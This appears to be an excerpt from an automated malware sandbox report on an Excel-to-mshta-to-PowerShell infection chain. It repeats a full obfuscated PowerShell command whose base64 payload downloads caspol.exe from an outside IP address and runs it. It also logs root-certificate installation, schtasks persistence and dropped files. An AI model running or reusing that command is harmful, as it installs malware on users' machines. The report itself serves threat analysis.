Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"

Yara detected aPLib compressed binary

Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.rrwscqkDSNwLK.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.3529c50.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.3529c50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.350fc30.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.caspol.exe.350fc30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.494317016.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.470705091.0000000002410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.000000000350F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.471306771.0000000003529000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.500711423.0000000002591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: caspol.exe PID: 3888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrwscqkDSNwLK.exe PID: 1644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rrwscqkDSNwLK.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: caspol.exe PID: 4076, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE891A022D push eax; iretd	5_2_000007FE891A0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE891A00BD pushad ; iretd	5_2_000007FE891A00C1
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 21_2_003A75C0 push eax; retn 0050h	21_2_003A76C9
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 28_2_00402AC0 push eax; ret	28_2_00402AD4
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Code function: 28_2_00402AC0 push eax; ret	28_2_00402AFC
Source: C:\Users\user\AppData\Roaming\caspol.exe	Code function: 37_2_003775C8 push eax; retn 004Eh	37_2_003776D1

Source: caspol[1].exe.5.dr	Static PE information: section name: .text entropy: 7.924032890568231
Source: caspol.exe.5.dr	Static PE information: section name: .text entropy: 7.924032890568231
Source: rrwscqkDSNwLK.exe.11.dr	Static PE information: section name: .text entropy: 7.924032890568231

Source: 11.2.caspol.exe.354e230.4.raw.unpack, nv7TQuQu3ElwogYNXj.cs	High entropy of concatenated method names: 'kwIsqkQ4Rt', 'Dils45fHjB', 'ksMs07h5L2', 'jwvsQSg7TT', 'iZ9soFlRPV', 'uwusHFFDLN', 'uUqsAweIY5', 'qMDsm13UUL', 'evCs7ibb3u', 'wTQsMLXODh'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, RFaVxJDvsI7VbX0rl8.cs	High entropy of concatenated method names: 'd49r8TOJeG', 'qlvrJty0GK', 'IECrVL6mP9', 'wC3rlu6pT8', 'edZrwxKaO9', 'wmsVWJxMJT', 'nJgViubqOf', 'BLHVGX4V2W', 'CUZVuCwxWf', 'XhKVUedFu9'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, LZqk9e1XKPg1FCeZSx.cs	High entropy of concatenated method names: 'qaiAP6BRe1', 'CKLAEy28Or', 'ToString', 'a79Ay4JWyw', 'iZ9AJyunmv', 'vndAsDJ3jY', 'NSMAVZ0nYt', 'xwWArQrxVU', 'bbLAlE71L4', 'TknAwZ99eR'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, fDuVmmOK1PX8TL4smgV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'H9PMXVeJNr', 'ORPMar7pub', 'CmgMf2erEt', 'yfwMtmuVJ4', 'uShMgho4tV', 'LJtMjyo9sR', 'RQ9M1FDccQ'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, EOwDB4zANQSug4vNC0.cs	High entropy of concatenated method names: 'RKxM4S846L', 'htBM0fr1ra', 'FC5MQAfoHf', 'b3nMDxvvmJ', 'nSrMnRKqa6', 'U0uMxovn9e', 'oCVMIvbShl', 'RhxMcBhInt', 'YxmMYwyWqs', 'jWFMkmh4YG'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, NQpbydT9UJ3x7aC7ll.cs	High entropy of concatenated method names: 'm9VlYVZ779', 'hYflkxHXKq', 'JiplSH36wp', 'ipVlq3aL8m', 'SaTl9VKKM6', 'Qrol4dQSrb', 'ppNlRTTVw8', 'QPjl0OQUjS', 'sdLlQKPNNu', 'hEvlpFBNnE'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, zHSLcC0xi2VDKUoIki.cs	High entropy of concatenated method names: 'gqJJt8bpuy', 'chKJgb7VEy', 'fGYJj3jxDJ', 'S8eJ1vvNHX', 'yxrJWbgDoI', 'nKfJi7EYZM', 'kTfJGMHELS', 'jdaJuGbQWu', 'HUQJUSCJAx', 'DMWJ5fVkdg'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, l7WCInZ4VPxOCXSEYv.cs	High entropy of concatenated method names: 'uL8SyuRtP', 'XQ5qnBGp5', 'fdv4KayTV', 'LQZRvMkyl', 'YMWQCB5d3', 'S7xpO8Hqe', 'YlWl3430BFBwncwUKJ', 'GJ4bQqB12ORsZ5dlg2', 'wtimS54KW', 'tdvMDXOFW'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, ejA9J2OOLcg6cn7VOAK.cs	High entropy of concatenated method names: 'OliM5DXEsC', 'LQcMzYbHH4', 'biC3K1MhMe', 'Vgh3OkW19w', 'MyP3Z30MJ1', 'nxD3v3Z1Hj', 'N8L32EXWAv', 'xfj38y71Oe', 'CxC3yJkXsk', 'n6q3JBPlnf'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, WGVBOO5rrSDsqq28a0.cs	High entropy of concatenated method names: 'zxWMsyqmcO', 'xBKMVLK3DL', 'OJEMro5MhQ', 'iyNMltsAmf', 'h2NM7cDQHY', 'Vf3MwJCXCH', 'Next', 'Next', 'Next', 'NextBytes'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, naonpTtnkvVd0Lx6yR.cs	High entropy of concatenated method names: 'fBHoeor5eG', 'p8NoaXobKn', 'gx7otaahjZ', 'CesoglZWn0', 'pxBonEa9WU', 'hEOoBvCaUi', 'X5Joxp8qkk', 'AgMoIqcqpl', 'INRoF0mfpu', 'EbNoChpdo5'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, hhkxhSpONosID7AIZ0.cs	High entropy of concatenated method names: 'OLJV9igeke', 'pCmVRHUUtn', 'DFHsBemItd', 'setsxdwdlk', 'B1fsIM1RWN', 'hnfsFVgF04', 'icGsC6ScTJ', 'Bv2sdZtYj7', 'c83sT8mac4', 'Aeyse4DYml'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, a6RnQjwUyOApqVRoTt.cs	High entropy of concatenated method names: 'GDqv8AQAo0', 'fPWvyw8Gev', 'MilvJcAcrX', 'z6nvsm1HU7', 'GU4vVVp25E', 'P9pvrwHp48', 'ddvvlRvm5B', 'm24vwt17DP', 'VUjvLPeI9X', 'S8lvP4GFHc'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, IJUcGuiXoH6oteQitt.cs	High entropy of concatenated method names: 'W9UAuehVRC', 'F3KA5Ahfle', 'rDCmK6FGoM', 'ENNmOiijkn', 'zFsAXpti6F', 'dAUAa7vK0N', 'H06AfOrhMg', 's5cAtgGihI', 'A1IAgVkTbX', 'r7uAjEfmeo'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, L4oEi92lLXbHukyhd4.cs	High entropy of concatenated method names: 'e5SOlHSLcC', 'Ii2OwVDKUo', 'Wu3OPElwog', 'xNXOEjshkx', 'sAIOoZ0tFa', 'ixJOHvsI7V', 'LCAAOqUlND4diNBGEF', 'U1gjSgECcjRPEDjs6U', 'KrWOOkBTyH', 'jZeOv3QYL3'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, da1BCSJJ6wrPB4DfAI.cs	High entropy of concatenated method names: 'Dispose', 'w4DOU0Ajbi', 'RuEZnReX0k', 'z9kPDVvpk9', 'WpKO5e0Vxg', 'j4sOzjC67c', 'ProcessDialogKey', 'ayoZK0va9o', 'gbAZOZ05HB', 'TPyZZGGVBO'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, vjZivjf2CXinRayulp.cs	High entropy of concatenated method names: 'PF2h02Yl7c', 'A4jhQudmOX', 'D5MhDdOESN', 'uYOhnVtpef', 'L0YhxJhSOS', 'WCMhIslmlM', 'uVyhCGShPX', 'b9BhdL5ilR', 'stYhe5Urux', 't2nhXQ7PEE'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, ISvCPyGxpb4D0AjbiG.cs	High entropy of concatenated method names: 'dKf7oIul6p', 'LRQ7AGZEjR', 'SG377p98xG', 'ppL73NuNCl', 'LHc7NMKubp', 'edC7cv9I79', 'Dispose', 'pXhmy2gEAK', 'wV7mJqTe3d', 'HaXmsHYu5o'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, DgHiCnCAXew4U8UW26.cs	High entropy of concatenated method names: 'YhElyvaAWh', 'DUDlsyoEtP', 'kSOlrjUqwV', 'S2ar5PtZee', 'GITrzURRs1', 'QZYlKJfo8c', 'CVGlOLDgrK', 'BpmlZ6xQng', 'X9Glv89kE8', 'RL1l21qZa0'
Source: 11.2.caspol.exe.354e230.4.raw.unpack, o0va9oUJbAZ05HB1Py.cs	High entropy of concatenated method names: 'dFL7DtW72v', 'BNm7nNf6Rx', 'Nsl7BnCfx6', 'CQF7xqpOIG', 'Ms37ItQKef', 'hBL7FphnQ1', 'mMn7CGROo3', 'qph7dhisEq', 'GWV7TBkMaq', 'BYo7excHLu'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\caspol.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\caspol.exe	File created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\caspol.exe	File created: C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy)	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\caspol.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
